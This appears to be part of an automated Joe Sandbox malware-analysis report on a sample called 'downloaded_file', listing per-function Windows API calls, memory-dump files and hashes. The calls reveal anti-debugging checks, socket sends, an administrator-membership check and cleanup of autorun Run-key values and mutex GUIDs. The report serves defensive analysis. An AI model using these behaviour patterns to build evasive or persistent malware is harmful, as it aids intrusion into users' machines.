Function 00327FFF Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 0032C560
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0032C575
UnhandledExceptionFilter.KERNEL32(00338C78), ref: 0032C580
GetCurrentProcess.KERNEL32(C0000409), ref: 0032C59C
TerminateProcess.KERNEL32(00000000), ref: 0032C5A3

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: f16e6303ef5961f26cb29acee504373e2fbad4517d443e9f8073d3ada39ed09b
Instruction ID: 571e14ead9eddb0fde35169d9ee782eeba9309415dc70b116662d52de2a07eff
Opcode Fuzzy Hash: f16e6303ef5961f26cb29acee504373e2fbad4517d443e9f8073d3ada39ed09b
Instruction Fuzzy Hash: 1121C9B48112049FD723EF29FD896583BBCBF58320F50505AE50E9B7A1EBB059C5CB02

Function 00312AB0 Relevance: 6.2, APIs: 4, Instructions: 229comCOMMON

Download Yara Rule

APIs

CoInitializeEx.COMBASE(00000000,00000000), ref: 00312AE0
CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000006,00000003,00000000,00000000,00000000), ref: 00312B06
CoCreateInstance.OLE32(00337B50,00000000,00000001,00337940,00000000), ref: 00312B21
CoUninitialize.COMBASE ref: 00312DDD

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: Initialize$CreateInstanceSecurityUninitialize
String ID:
API String ID: 374467530-0
Opcode ID: a85bc5ea0d06235928c2b6887f5883171dfc6492d961720be03cafe51a328fb7
Instruction ID: da8d26ad14345bbf23c6b33b8aea4966802a29c83e4aba62c54f02ffcf5f7b86
Opcode Fuzzy Hash: a85bc5ea0d06235928c2b6887f5883171dfc6492d961720be03cafe51a328fb7
Instruction Fuzzy Hash: CFB1C674E00219DFDB59DF98C991B9DFBB1BF48310F208299D519AB391D7306A81CF91

Function 0031C3A0 Relevance: 4.5, APIs: 3, Instructions: 42memoryCOMMON

Download Yara Rule

APIs

AllocateAndInitializeSid.ADVAPI32(00000000,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 0031C3DB
CheckTokenMembership.ADVAPI32(00000000,?,00000000), ref: 0031C3F4
FreeSid.ADVAPI32(?), ref: 0031C409

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID:
API String ID: 3429775523-0
Opcode ID: 0a17bf6cffcf66c7108508268b8328230370c6e95c714d7242158a87e51aad48
Instruction ID: 0a8b36058cda8decb7debbbc4f9f87c0b0d0bf5514c5f03d4a2cc29a3ee042b1
Opcode Fuzzy Hash: 0a17bf6cffcf66c7108508268b8328230370c6e95c714d7242158a87e51aad48
Instruction Fuzzy Hash: E501FB34D44348FAEB12DBE8C859BEEBFB8AF18704F0444C8E544AA2C1D7B56684CB91

Function 003170F2 Relevance: 4.5, APIs: 3, Instructions: 41COMMON

Download Yara Rule

APIs

setsockopt.WS2_32(?,0000FFFF,00000080,?,00000004), ref: 0031716A
___crtGetLocaleInfoEx.LIBCMTD ref: 00317187

Part of subcall function 0031F670: send.WS2_32(00000000,?,000000FF,00320E0C), ref: 0031F683

closesocket.WS2_32(?), ref: 00317193

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: InfoLocale___crtclosesocketsendsetsockopt
String ID:
API String ID: 1028938620-0
Opcode ID: 74e825284d0b4e73bf10b02ac76e9058a477c5521cd7b2807b9224fab047938d
Instruction ID: d85a67a98332186b9c76abbf80c7915c08389dfecb3c244880c8ebecd971d9d8
Opcode Fuzzy Hash: 74e825284d0b4e73bf10b02ac76e9058a477c5521cd7b2807b9224fab047938d
Instruction Fuzzy Hash: B50162B5A04208BBEB15DF90EC85BED7778EF4C710F145518F609AB280E6759A848754

Function 003170D9 Relevance: 4.5, APIs: 3, Instructions: 41COMMON

Download Yara Rule

APIs

setsockopt.WS2_32(?,0000FFFF,00000080,?,00000004), ref: 0031716A
___crtGetLocaleInfoEx.LIBCMTD ref: 00317187

Part of subcall function 0031F670: send.WS2_32(00000000,?,000000FF,00320E0C), ref: 0031F683

closesocket.WS2_32(?), ref: 00317193

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: InfoLocale___crtclosesocketsendsetsockopt
String ID:
API String ID: 1028938620-0
Opcode ID: acf3b74179d1132b97c3123783de76d131d045ae5621fa023c5c3437219e4648
Instruction ID: d85a67a98332186b9c76abbf80c7915c08389dfecb3c244880c8ebecd971d9d8
Opcode Fuzzy Hash: acf3b74179d1132b97c3123783de76d131d045ae5621fa023c5c3437219e4648
Instruction Fuzzy Hash: B50162B5A04208BBEB15DF90EC85BED7778EF4C710F145518F609AB280E6759A848754

Function 00305720 Relevance: 4.5, APIs: 3, Instructions: 11memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(0037CB2C,?,00313EE3), ref: 00305728
IsWow64Process.KERNEL32(00000000,?,00313EE3), ref: 0030572F
GetProcessHeap.KERNEL32(?,00313EE3), ref: 00305735

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: Process$CurrentHeapWow64
String ID:
API String ID: 1399170734-0
Opcode ID: 199a0d3dc8c68812aca12953dd5d4c0e53c833079a54fe72ca7cfd23e0dd9b43
Instruction ID: 308ee7c2d55a76c0f878ee1f5108161bc8518173a4abb45a5e0cb4c932a55b91
Opcode Fuzzy Hash: 199a0d3dc8c68812aca12953dd5d4c0e53c833079a54fe72ca7cfd23e0dd9b43
Instruction Fuzzy Hash: 88C08C318203049BC31B2BB4FC8EA063BBCFB08791F000026F60DC2230CA779484CBA0

Function 0031C031 Relevance: 3.0, APIs: 2, Instructions: 16encryptionCOMMON

Download Yara Rule

APIs

CryptReleaseContext.ADVAPI32(00000000,00000000,?,?,?,00309E2A,00000000), ref: 0031C06A
CryptDestroyHash.ADVAPI32(00000000,?,?,?,00309E2A,00000000), ref: 0031C07A

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: Crypt$ContextDestroyHashRelease
String ID:
API String ID: 3989222877-0
Opcode ID: 07e5f06e425482b3fe13973f7ea76a49242edffbe043dac290b032cfd91c55ea
Instruction ID: 30d8c593bfb26f7116646a791bc2599cbca679fa5664dbc785b4639cb09c8859
Opcode Fuzzy Hash: 07e5f06e425482b3fe13973f7ea76a49242edffbe043dac290b032cfd91c55ea
Instruction Fuzzy Hash: 0CE01235941208EBCB26CBA4D4487DDB778FB4C305F109184E40962550C3759EC4DB80

Function 0031C00C Relevance: 3.0, APIs: 2, Instructions: 16encryptionCOMMON

Download Yara Rule

APIs

CryptReleaseContext.ADVAPI32(00000000,00000000,?,?,?,00309E2A,00000000), ref: 0031C06A
CryptDestroyHash.ADVAPI32(00000000,?,?,?,00309E2A,00000000), ref: 0031C07A

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: Crypt$ContextDestroyHashRelease
String ID:
API String ID: 3989222877-0
Opcode ID: b76670b376852ff07f2c1b8bbff70bfb770089241045fc379c4ced8ceb480dc8
Instruction ID: 30d8c593bfb26f7116646a791bc2599cbca679fa5664dbc785b4639cb09c8859
Opcode Fuzzy Hash: b76670b376852ff07f2c1b8bbff70bfb770089241045fc379c4ced8ceb480dc8
Instruction Fuzzy Hash: 0CE01235941208EBCB26CBA4D4487DDB778FB4C305F109184E40962550C3759EC4DB80

Function 0031BFB6 Relevance: 3.0, APIs: 2, Instructions: 16encryptionCOMMON

Download Yara Rule

APIs

CryptReleaseContext.ADVAPI32(00000000,00000000,?,?,?,00309E2A,00000000), ref: 0031C06A
CryptDestroyHash.ADVAPI32(00000000,?,?,?,00309E2A,00000000), ref: 0031C07A

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: Crypt$ContextDestroyHashRelease
String ID:
API String ID: 3989222877-0
Opcode ID: 87b7e235672b3f48800384e03a4b7d6b3cf058569c9f761cb5f8cff7d50fbe67
Instruction ID: 30d8c593bfb26f7116646a791bc2599cbca679fa5664dbc785b4639cb09c8859
Opcode Fuzzy Hash: 87b7e235672b3f48800384e03a4b7d6b3cf058569c9f761cb5f8cff7d50fbe67
Instruction Fuzzy Hash: 0CE01235941208EBCB26CBA4D4487DDB778FB4C305F109184E40962550C3759EC4DB80

Function 0031BFD9 Relevance: 3.0, APIs: 2, Instructions: 16encryptionCOMMON

Download Yara Rule

APIs

CryptReleaseContext.ADVAPI32(00000000,00000000,?,?,?,00309E2A,00000000), ref: 0031C06A
CryptDestroyHash.ADVAPI32(00000000,?,?,?,00309E2A,00000000), ref: 0031C07A

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: Crypt$ContextDestroyHashRelease
String ID:
API String ID: 3989222877-0
Opcode ID: d7faf3adcfb3a5929403d1dc16c65357624a6c0f0b8331c956a498ab8c4d1478
Instruction ID: 30d8c593bfb26f7116646a791bc2599cbca679fa5664dbc785b4639cb09c8859
Opcode Fuzzy Hash: d7faf3adcfb3a5929403d1dc16c65357624a6c0f0b8331c956a498ab8c4d1478
Instruction Fuzzy Hash: 0CE01235941208EBCB26CBA4D4487DDB778FB4C305F109184E40962550C3759EC4DB80

Function 0031F690 Relevance: 1.6, APIs: 1, Instructions: 58COMMON

Download Yara Rule

APIs

Part of subcall function 00320790: WSACreateEvent.WS2_32 ref: 00320796
Part of subcall function 00320790: WSAEventSelect.WS2_32(?,00000000,00000001), ref: 003207B3
Part of subcall function 00320790: WSAWaitForMultipleEvents.WS2_32(00000001,?,00000000,00000001,00000000), ref: 003207F3
Part of subcall function 00320790: WSACloseEvent.WS2_32(00000000), ref: 00320800

___crtGetLocaleInfoEx.LIBCMTD ref: 0031F6EA

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: Event$CloseCreateEventsInfoLocaleMultipleSelectWait___crt
String ID:
API String ID: 3201519519-0
Opcode ID: bde5e825d952b8bc264e53f7330cbdb12c80d4a380823f7c5303a601c813b495
Instruction ID: 0369fd50d3347988df83721a07bc235998e90319ebed04f3ae30e5ebfafa8f12
Opcode Fuzzy Hash: bde5e825d952b8bc264e53f7330cbdb12c80d4a380823f7c5303a601c813b495
Instruction Fuzzy Hash: A721C9B5D00209EFCB09DF98C894AEEB7B5FF48344F108559E825A7381D7349A51CF90

Function 0031F730 Relevance: 1.6, APIs: 1, Instructions: 58COMMON

Download Yara Rule

APIs

Part of subcall function 00320870: WSACreateEvent.WS2_32 ref: 00320876
Part of subcall function 00320870: WSAEventSelect.WS2_32(?,00000000,00000002), ref: 00320893
Part of subcall function 00320870: WSAWaitForMultipleEvents.WS2_32(00000001,?,00000000,00000001,00000000), ref: 003208D3
Part of subcall function 00320870: WSACloseEvent.WS2_32(00000000), ref: 003208E0

___crtGetLocaleInfoEx.LIBCMTD ref: 0031F78A

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: Event$CloseCreateEventsInfoLocaleMultipleSelectWait___crt
String ID:
API String ID: 3201519519-0
Opcode ID: 7e220d92a5a058f8ef472217d2b8b48152e192a83d116e355737832c339dc423
Instruction ID: a1ef313da2e57933ad43376648b66e34cb17749965216cbcf1b148c43451c55f
Opcode Fuzzy Hash: 7e220d92a5a058f8ef472217d2b8b48152e192a83d116e355737832c339dc423
Instruction Fuzzy Hash: AF21DBB5D0020AEFDB09DF98C884AEEB7B5FF48304F108699E825A7385D7349A51CF90

Function 0032A950 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0002A90E), ref: 0032A955

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 566e694ae996613ac02ba6169d2c4881af4960925bd87e60b028d0e99ae06628
Instruction ID: 4963852871ca242c607ca48d4c918a3e0473654f2d6a00c4bc8fe6fe6c7d9179
Opcode Fuzzy Hash: 566e694ae996613ac02ba6169d2c4881af4960925bd87e60b028d0e99ae06628
Instruction Fuzzy Hash: 0C9002B16A155C5B460217717D4D54626985B48756F530491A101C4254DB9080C1A912

Function 003158B0 Relevance: 112.5, APIs: 47, Strings: 17, Instructions: 478stringregistrylibraryCOMMON

Download Yara Rule

APIs

wnsprintfW.SHLWAPI ref: 00315A98
RegDeleteKeyExW.ADVAPI32(80000001,?,00000200,00000000), ref: 00315AB4
wnsprintfW.SHLWAPI ref: 00315AE4
RegDeleteKeyExW.ADVAPI32(80000001,?,00000200,00000000), ref: 00315B00
wnsprintfW.SHLWAPI ref: 00315B30

Part of subcall function 003179F0: lstrlenW.KERNEL32(?,?,?,?,?,?,?,003168E6,003347E8), ref: 00317A19

RegDeleteKeyExW.ADVAPI32(80000001,?,00000200,00000000), ref: 00315B4C
wnsprintfW.SHLWAPI ref: 00315B7C
RegDeleteKeyExW.ADVAPI32(80000001,?,00000200,00000000), ref: 00315B98

Part of subcall function 00312680: RegOpenKeyW.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,?), ref: 0031269B
Part of subcall function 00312680: RegDeleteValueW.ADVAPI32(?,00376FC8,?,?,00301109), ref: 003126AE
Part of subcall function 00312680: RegCloseKey.ADVAPI32(?,?,?,00301109), ref: 003126B8
Part of subcall function 00312680: RegOpenKeyW.ADVAPI32(80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,?), ref: 003126D5
Part of subcall function 00312680: RegDeleteValueW.KERNELBASE(?,{AB1F3E47-AEF1-400E-A108-233A046C3A34},?,?,00301109), ref: 003126E8
Part of subcall function 00312680: RegCloseKey.ADVAPI32(?,?,?,00301109), ref: 003126F2

Part of subcall function 00313160: LocalAlloc.KERNEL32(00000040,0000FFFE,?,?,?,?,00315BA8), ref: 0031317A
Part of subcall function 00313160: SHGetKnownFolderPath.SHELL32(00337BF0,00000000,00000000,?), ref: 00313196
Part of subcall function 00313160: __snwprintf.LIBCMT ref: 003131B7
Part of subcall function 00313160: DeleteFileW.KERNEL32(00000000), ref: 003131C3
Part of subcall function 00313160: CoTaskMemFree.COMBASE(?), ref: 003131CD
Part of subcall function 00313160: LocalFree.KERNEL32(00000000), ref: 003131D7
Part of subcall function 00313160: SHGetKnownFolderPath.SHELL32(00337C00,00000000,00000000,?), ref: 003131EA
Part of subcall function 00313160: LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 003131FF
Part of subcall function 00313160: __snwprintf.LIBCMT ref: 00313229
Part of subcall function 00313160: LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 00313238
Part of subcall function 00313160: __snwprintf.LIBCMT ref: 00313263
Part of subcall function 00313160: DeleteFileW.KERNEL32(00000000), ref: 0031326F
Part of subcall function 00313160: RemoveDirectoryW.KERNEL32(00000000), ref: 00313279
Part of subcall function 00313160: LocalFree.KERNEL32(00000000), ref: 00313283
Part of subcall function 00313160: LocalFree.KERNEL32(00000000), ref: 0031328D
Part of subcall function 00313160: CoTaskMemFree.COMBASE(?), ref: 00313297

Part of subcall function 00312F20: OpenEventW.KERNEL32(00100002,00000000,{B189748B-D39F-48B3-A389-0325B737C49A}), ref: 00312F3F
Part of subcall function 00312F20: SetEvent.KERNEL32(00000000), ref: 00312F5B
Part of subcall function 00312F20: CloseHandle.KERNEL32(00000000), ref: 00312F68
Part of subcall function 00312F20: OpenMutexW.KERNEL32(00100000,00000000,{37C6EA19-2C19-41BB-90A5-BF73BD18C9D4}), ref: 00312F84
Part of subcall function 00312F20: WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 00312FA2
Part of subcall function 00312F20: CloseHandle.KERNEL32(00000000), ref: 00312FAF
Part of subcall function 00312F20: SHGetKnownFolderPath.SHELL32(00337C00,00000000,00000000,?), ref: 00312FC5
Part of subcall function 00312F20: LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 00312FDA
Part of subcall function 00312F20: __snwprintf.LIBCMT ref: 0031301F
Part of subcall function 00312F20: lstrlenW.KERNEL32(00000000), ref: 0031302E
Part of subcall function 00312F20: _memset.LIBCMT ref: 0031306A
Part of subcall function 00312F20: GetFileAttributesW.KERNEL32(00000000), ref: 003130A5
Part of subcall function 00312F20: LocalFree.KERNEL32(00000000), ref: 003130F1
Part of subcall function 00312F20: CoTaskMemFree.COMBASE(?), ref: 003130FE

Part of subcall function 00312E00: SHGetKnownFolderPath.SHELL32(00337C00,00000000,00000000,00315BB2,?,?,?,?,?,?,?,?,?,?,?,00315BB2), ref: 00312E13
